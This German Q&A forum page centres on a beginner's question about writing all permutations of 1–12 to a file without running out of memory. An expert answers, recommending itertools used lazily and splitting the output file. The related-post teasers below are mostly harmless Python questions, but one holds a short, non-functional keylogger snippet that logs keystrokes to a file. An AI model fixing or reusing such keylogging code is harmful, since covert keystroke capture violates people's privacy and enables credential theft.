Permutationen bestimmen?

Ich brauche für ein Projekt alle Permutationen der Zahlen 1-12 und habe dafür folgendes Programm:

from itertools import permutations

zahlen = list(range(1, 13))
kombinationen = list(permutations(zahlen, len(zahlen)))

with open('kombinationen.txt', 'w+') as datei:
    datei.truncate(0)  # Die Datei leeren, falls bereits vorhanden
    for kombination in kombinationen:
        datei.write(', '.join(map(str, kombination)) + '\n')

Ich bekomme jedoch einen Memory Error wenn ich es ausführe, deshalb meine Frage: Lässt sich das irgendwie sinnvoll in mehrere Teile aufteilen, sodass jedes Mal kleinere "Portionen" berechnet werden?
Vielen Dank

1 Antwort

Vom Beitragsersteller als hilfreich ausgezeichnet

jo135

Von gutefrage auf Grund seines Wissens auf einem Fachgebiet ausgezeichneter Nutzer

Programmiersprache, Python

05.11.2023, 22:41

Der ganze Witz der Itertools ist es, mit Iteratoren bzw. Generatoren zu arbeiten, d.h. ohne alles erst in eine komplette Liste auszuwalzen. Du sabotierst das aber ziemlich gründlich, weil du doch das Bauen einer gigantischen Liste erzwingst:

kombinationen = list(permutations(zahlen, len(zahlen)))

Also weg damit (und noch ein paar Kleinigkeiten aufgeräumt), und schon passiert ganz von selbst, was du wolltest:

from itertools import permutations

zahlen = list(range(1, 13))
kombinationen = permutations(zahlen, len(zahlen))

with open('kombinationen.txt', 'w') as datei:
    for kombination in kombinationen:
        datei.write(', '.join(str(num) for num in kombination) + '\n')

alexx5678

Beitragsersteller

06.11.2023, 14:53

Vielen Dank für die Antwort, hat perfekt funktioniert! Ich habe gerade erst angefangen damit zu arbeiten deswegen entschuldige meine Dummheit :)
eine Frage hätte ich noch: die Datei die dabei entsteht ist zu groß um sie mit Texteditoren zu öffnen, gibt es eine Möglichkeit die Zahlen in mehreren, kleineren Dateien abzuspeichern? Vielen Dank

jo135

06.11.2023, 15:00

@alexx5678

Von Python aus nicht so einfach, weil die Zahl der Zeilen nicht von vornherein bekannt ist. Wenn du auf Linux oder MacOS arbeitest, lass dir die große Datei einfach mit split in kleinere aufteilen. Ich vermute, sowas gibt's auch irgendwo für Windows.

Wobei ich mich ein wenig frage, wofür die Datei im Texteditor öffnest - solche Riesendinger wird man doch eher programmatisch bearbeiten?

alexx5678

Beitragsersteller

06.11.2023, 15:12

@jo135

wobei man die Zahl der Zeilen ja vorher mit 12! berechnen könnte, aber das stimmt, eigentlich müsste ich sie nicht öffnen (ich wollte nur mal nachschauen)

jo135

06.11.2023, 15:24

@alexx5678

wobei man die Zahl der Zeilen ja vorher mit 12! berechnen könnte

Stimmt natürlich, ich meinte hier eher, dass man den gegebenen Datenstrukturen keine "Länge" entlocken kann. Man könnte klarerweise eine große Schleife drumherum legen und damit einzelne Dateien numeriert anlegen. Ich find's aber trotzdem einfacher, nötigenfalls nachher einen Einzeiler mit "split" zu machen.

Fürs "Nachschauen" tut es üblicherweise cat / more / less oder solche Tools.

Ähnliche Beiträge

[Python] Wie kann ich eine "while-schleife" in meiner "for-schleife" laufen lassen?

Ich möchte innerhalb meines for-loops eine while schleife laufen lassen.

Die While-Schleife soll solange ein Image suchen bis die if oder elif das Image gefunden hat und entweder mit der For-Schleife fortsetzen oder das Programm beenden.

z.B

import string
import pyautogui

lst_1 = list(string.ascii_uppercase)
lst_2 = [x for x in reversed(lst_1)]

combos = []

for x in range(0, len(lst_1)):
    for y in range(0, len(lst_2)):
        combos.append([lst_1[x],lst_2[y]])
        
# Jetzt komme ich zu meiner Frage.
for x in range(0, len(combos)):
    print(f"{combos[x][0]}")
    print(f"{combos[x][1]}")
    while True:
        if pyautogui.locateOnScreen("wrong.png") != None:
            print("next")
            # break while-loop, continue with for-loop

           # while loop soll nach einem Image suchen,
           # solange bis die if oder elif gefunden wurde.
        elif pyautogui.locateOnScreen("right.png") != None:
            exit()
            # Wenn ein anderes bestimmtes Image lokalsiert wird,
            # soll alles gestoppt werden.

...zum Beitrag

Python: Balkendiagramm beim Sortieren?

Hallo,

ich wollte ein Sortierverfahren programmieren und bei jedem Durchlauf durch das Array soll ein Balkendiagramm erzeugt werden.

Die sortierten Zahlen sollen rot sein und die unsortierten blau.

Bisher habe ich es geschafft, dass die sortierte Liste als Balkendiagramm angezeigt wird. Mein Programm sieht so aus:

def Sortierverfahren_Bubblesort(Liste):
  n = len(Liste)
  for i in range(n):
    for x in range(0, n - i - 1):
      if Liste[x] > Liste[x + 1]:
        Liste[x], Liste[x + 1] = Liste[x + 1], Liste[x]

Sortierverfahren_Bubblesort(Liste)
print("Sortierte Liste: ", Liste)

#Balkendiagramm
import matplotlib.pyplot as plt
import numpy as np

bar_width = 0.5
index = np.arange(len(Liste))
plt.bar(index, Liste, bar_width, color="blue")
plt.xticks(index, range(len(Liste)))
print("Balkendiagramm: ")
plt.show()

Es wäre cool, wenn mir jemand die Lösung dazu sagen würde.

...zum Beitrag

Python: Zeilenumbruch bei einer Liste?

Ich möchte am Ende gerne einen Zeilenumbruch einfügen.

storage.append("Dein " + str(run+1) + ". Satz besteht aus " + str(len(ausgabe)) + " Wörtern und lautet: " + str(ausgabe))

...zum Beitrag

Wie ziehe ich bei Python k aus n Elementen so effizient wie möglich?

Gegeben ist eine Menge mit n unterschiedlichen Elementen. Man will nun alle möglichen Kombinationen (ohne Wiederholungen, ohne Reihenfolge) aus diesen Elementen mit k < n Elementen bilden. Davon gibt es laut Kombinatorik genau n über k.

Beispiel:

Gegeben: Menge M = {1, 2, 3, 4, 5}, n = 5, k = 3.

Gesucht: Alle Kombinationen aus M mit 3 Elementen: {{1, 2, 3}, {1, 2, 4}, {1, 2, 5}, {1, 3, 4}, {1, 3, 5}, {1, 4, 5}, {2, 3, 4}, {2, 3, 5}, {2, 4, 5}, {3, 4, 5}}.

Ob die Ausgabe eine Liste ist oder sonstiges ist egal. Wichtig ist folgendes: Ich muss diese Art von Mengen berechnen mit Zahlen wie zB n = 56 und k = 13. 56 über 13 ergibt 1,8 Billionen. Ich will zB, dass diese 1,8 Billionen Ergebnisse einzeln ausgegeben werden. Also nicht am Ende eine Liste, sondern 1,8 Billionen mal die einzelne geprintet. Ausserdem soll das ganze so effizient wie moeglich sein. Bisher habe ich eine Variante die so funktioniert:

from itertools import permutations

    for indices in permutations(range(n), k):
        if sorted(indices) == list(indices):
            print(indices)

Das funktioniert, jedoch werden in der ersten For-Schleife alle Kombinationen berechnet mit Beachtung der Reihenfolge. Das ist VIEL zu ineffizient.

Kann mir jemand helfen?

...zum Beitrag

TypeError: can only concatenate str (not "function") to str?

ich möchte eine ui für mailtm erstellen aber bekomme kein output raus also wenn email ankommen werden sie nicht angezeigt und wenn ich listener eingebe bekomme ich jedes mal den gleichen fehler code

Fehler code:

TypeError: can only concatenate str (not "function") to str

from mailtm import *


def listener(message):
    print("\nSubject: " + message['subject'] + str(listener))
    print("Content: " + message['text'] if message['text'] else message['html'] + str(listener))


test = Email()
print("\nDomain: " + test.domain)

test.register()
print("\nEmail Adress: " + str(test.address))


test.start(listener, interval=3)
print("\nHab Sabr.....")


main = ctk.CTk()
main.geometry("500x320")
main.title("Temp mail By Amjn")


emaila = ctk.CTkEntry(main, placeholder_text="         " + test.address, width=900, font=("Helvetica", 20))
emaila.configure(state="readonly")
emaila._corner_radius = 10
emaila.pack()


Copyt = ctk.CTkLabel(main, text="Copy Email", font=("Helvetica", 20))
Copyt.pack()


def neuw(self=None):
    neu = ctk.CTkToplevel(main)
    neu.title("Emails              (MADE BY AMJN)")
    neu.geometry("500x320")
    neu.corner_radius = 30
    neu.resizable(width=True, height=True)

    Ausg = ctk.CTkEntry(neuw, placeholder_text=("         ") + listener, width=900, font=("Helvetica", 20))
    Ausg.pack()


knopf = ctk.CTkButton(main, text="Emails", font=("Helvetica", 20), command=neuw)
knopf.pack(pady=20)

main.mainloop()

...zum Beitrag

Code funkitoniert nicht?

Ich habe versuchr einen Key-Logger In python zu machen aber er geht nicht

mein code:

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

    with Listener(on_press=on_press) as listener :
        listener.join()

...zum Beitrag

Python Zeit und Tabelle?

Ich möchte in meinen Python-Code eine Zeit implementieren. Die Zeit soll mir sagen, wie lange das Programm für die Ausführung benötigt. Ich möchte, dass es sich wieder zurücksetzt, weiß aber nicht wie. Des weiteren möchte ich am Ende alle Ergebnisse einheitlich in einer Tabelle dargestellt haben. Ich habe bereits versucht, es mit "pandas" und "tabulate" zu lösen, hat aber leider nicht funktioniert. Wie löse ich das Problem?

Hier der Code (nicht sehr komplex):

import random
import time

zeitanfang = time.time()
zahlenliste=[]
t=1
z=1
a=100
time.sleep(0)
#Liste mit Zufallszahlen füllen
while t<3:
 Anzahl=int(input("Anzahl der sortierenden Zahlen:"))
  for i in range(Anzahl):
    zahlenliste.append(random.randint(0, a))
#unsortierte Liste ausgeben (array)
# print(zahlenliste)
#unsortierte Liste ausgeben (array)
# for i in range(len(zahlenliste)):
# print(zahlenliste[i])
  def bubblesort(liste):
    for i in range(len(liste)-1):
      if liste[i] > liste[i+1]:
        liste[i], liste[i+1] = liste[i+1], liste[i]
        zahlenliste.sort()
  zeitende=time.time()
  bubblesort(zahlenliste)
  print(z,zahlenliste, (zeitende-zeitanfang)*10000)
  print("Dauer des Programms:", (zeitende-zeitanfang)*10000, "ms")
  t=t+1
  z=z+1
  a=a+100
  print("")
  zahlenliste=[]

...zum Beitrag

Python neun tab mit urlabfrage öffnen?

Moin.

Vorab Entschuldigung für den Grad nicht umfangreich fragen title.

also er hat Eine liste mit url die soll er abfragen. Und sobald Die url sich ändert soll er neue tab mit der neuen url aus der url list öffnen. habe auch schon einen code dazu aber komme nicht mehr weiter.
from urllib import response

from requests import get

import time

import webbrowser

url_list = ["https://www.google.com/", "https://www.youtube.com/",

"https://www.facebook.com/", "https://www.instagram.com/", "https://www.twitter.com/"]

webbrowser.open(url_list[0])

while True:

response = get(url_list[0])

print(response.status_code)

if response.status_code != 200:

url_list.pop(0)

if len(url_list) == 0:

break

webbrowser.open(url_list[0])

continue

time.sleep(30)

...zum Beitrag

Einzelne Zahlen aus txt-Dateien in Python einlesen?

Guten Tag.

Ich lerne zur Zeit Python an der Hochschule und arbeite mit Python 3.5. Bisher kam ich immer gut zurecht, doch nun haben wir eine Hausübung bekommen, die mir etwas Kopfzerbrechen bereitet.

Die Aufgabe ist folgende:

Lesen Sie aus der Datei unip-mini.dat.txt Zeile SQ die Länge aller Proteine in eine Liste. Plotten Sie die Liste als Histogramm mit 50 Balken.

Beispiel, wie so eine Zeile aussieht: SQ SEQUENCE 458 AA; 53921 MW; E46E5C85D7ACA139 CRC64;

Länge: 458

Wie man grundsätzlich Dateien in Python einliest, ist mir bekannt. Ich bin auch schon so weit, dass es nur diejenigen Zeilen einliest, die eben mit SQ beginnen. Allerdings möchte ich ja nur die Länge der Proteine in der Liste haben. Nun ist mein Problem, dass ich eben nicht weiß, wie ich es fertig stelle, dass lediglich die Länge in die Liste eingefügt wird.

Mein Code sieht bisher wie folgt aus:

    #!/usr/bin/python3

    import numpy as np
    import matplotlib.mlab as mlab
    import matplotlib.pyplot as plt

    def main():
        if os.path.isfile(sys.argv[1]) == False:
            print("Datei", sys.argv[1], "nicht gefunden")
            exit(0)
        with open(sys.argv[1]) as filetoread:
            lines = filetoread.readlines()
        seq = []

        for i in range(len(lines)):
            if(re.search('SQ   ', lines[i])):
                seq.append(lines[i])

        print(seq)


    if __name__ == "__main__":
        import sys
        import os
        import string
        main()

Könnte mir da vielleicht jemand helfen? Vielleicht gehe ich die Sache ja gerade auch einfach ganz falsch an und merke es nicht.

Mit freundlichen Grüßen

...zum Beitrag

integer zu liste in python?

hallo, ich würde in python gerne zahlen zu listen hinzufügen, ich hab das problem schon öfter gehabt aber hab nicht rausfinden können, wie.

wenn ich einfach die zahl hinzufüge, wer hätte es gedacht, lässt python es nicht zu

wenn ich str(zahl) hinzufüge, werden einzelne ziffern hinzugefügt

>>> liste = []
>>> zahl = 12345
>>> liste += zahl
TypeError: 'int' object is not iterable
>>> liste += str(zahl)
>>> print(liste)
['1', '2', '3', '4', '5']

...zum Beitrag

bestimmte Excel Inputs mit Python auswählen und in eine andere Excel-Datei einfügen?

Hallo zusammen,

ich würde gerne etwas Neues mit Python ausprobieren. Es geht um eine Excel-Datei, aus der ich bestimmte Einträge in eine andere Excel-Datei einfügen möchte. Wie ihr sehen könnt, möchte ich die Einträge, die einen Farbnamen enthalten, in eine andere Datei in Klammern einfügen und den Farbnamen übersetzt davor schreiben. Haben Sie eine Idee, wie ich das machen kann? Ich wäre Ihnen für jede Antwort dankbar.

import openpyxl
from openpyxl import Workbook, load_workbook
book = openpyxl.load_workbook('datei.xlsx')

result = 1
valuesK = []
i = 1

while result <= 101;
	pages = 'Sheet' + str(i)
	sheet = book.get_sheet_by_name(Sheet1)
	vK = sheet['G1': 'G2259']

	for row in vK:
		for cell in row:
			if blue in cell:
			valuesK.append('Blau (' + cell.value + ')')
			elif red in cell:
				valuesK.append('Rot (' + cell.value + ')')
			elif grey in cell:
				valuesK.append('Grau (' + cell.value + ')')
			elif black in cell:
				valuesK.append('Schwarz (' + cell.value + ')')
			elif white in cell:
				valuesK.append('Weiß (' + cell.value + ')')
			elif offwhite in cell:
				valuesK.append('Elfenbein (' + cell.value + ')')
			elif brown in cell:
				valuesK.append('Braun (' + cell.value + ')')
			elif beige in cell:
				valuesK.append('Beige (' + cell.value + ')')
			elif pink in cell:
				valuesK.append('Pink (' + cell.value + ')')
			elif yellow in cell:
				valuesK.append('Gelb (' + cell.value + ')')
			elif orange in cell:
				valuesK.append('Orange (' + cell.value + ')')
			elif green in cell:
				valuesK.append('Grün (' + cell.value + ')')
			elif turquoise in cell:
				valuesK.append('Türkis (' + cell.value + ')')
			elif purple in cell:
				valuesK.append('Violett (' + cell.value + ')')
			elif gold in cell:
				valuesK.append('Gold (' + cell.value + ')')
			elif silver in cell:
				valuesK.append('Orange (' + cell.value + ')')
			else:
				valuesK.append('Multicolour (' + cell.value + ')')



	i += 1
	result +=1

	wb = Workbook()
	ws = wb.active

	filename='dosya'

	i = 0
	for i in valuesK:
		j += 1
		ws['A' + str(j)] = i
		int(j)

wb.save('datei2.xlsx')

...zum Beitrag

Python Zufallszahlen ohne Wiederholung?

Hi,

gibt es einen weg sich Zufallszahlen ohne Wiederholung ausgeben zu lassen? Ich will ein Array (Liste - wie auch immer das heißt ;) ) mit nicht wiederholenden Zahlen. Dabei habe ich selber einen Algorithmus erntwickelt aber der funktioniert noch nicht:

import random
import time


num = [None]*10
num2 = [None]*10
rand = 0


for i in range(len(num)):
    rand = random.randrange(1, 20)
    num2[i] = rand
    num[i] = rand
    if rand in num2:
        while rand in num2:
            #if rand in num2:
            rand = random.randrange(1, 20)
            num[i] = rand


num.sort()


for i in range(len(num)):
    print(num[i])


print('\n'+str(time.perf_counter()))

Das ist mein bisheriger Quellcode.

...zum Beitrag

Wie in Python die Quersumme einer Ganzzahl berechnen?

zahl = 123
quersumme = 0
while len(str(zahl)) >= 1:
  str_zahl = str(zahl)
  quersumme = int(str_zahl[0]) + int(str_zahl[1])

????

...zum Beitrag

Warum will er in meinem Python code entry und entry nicht vergleichen?

import json
from typing import List, Any


def bubbleSort(result):
    n = len(result)

dicts = {}
with open('Schachnovelle.txt', 'r') as f:
   for line in f:
       for word in line.split():
          if word in dicts:
             dicts[word] += 1
          else:
             dicts[word] = 1

x = dicts.values()
#print(x)


class entry:
  word: str
  amount: int


sorted_values = []
for name in dicts:
    item = entry()
    item.word = name
    item.amount = dicts[name]
    sorted_values.append(item)

temp = 0
trade = True
while trade:
    trade = False
    for n in range(len(sorted_values)-1):
        if sorted_values[n] > sorted_values[n+1]:
            temp = sorted_values[n]
            sorted_values[n] = sorted_values[n+1]
            sorted_values[n+1] = temp
            trade = True


print(sorted_values)

...zum Beitrag

Was möchtest Du wissen?

Deine Frage stellen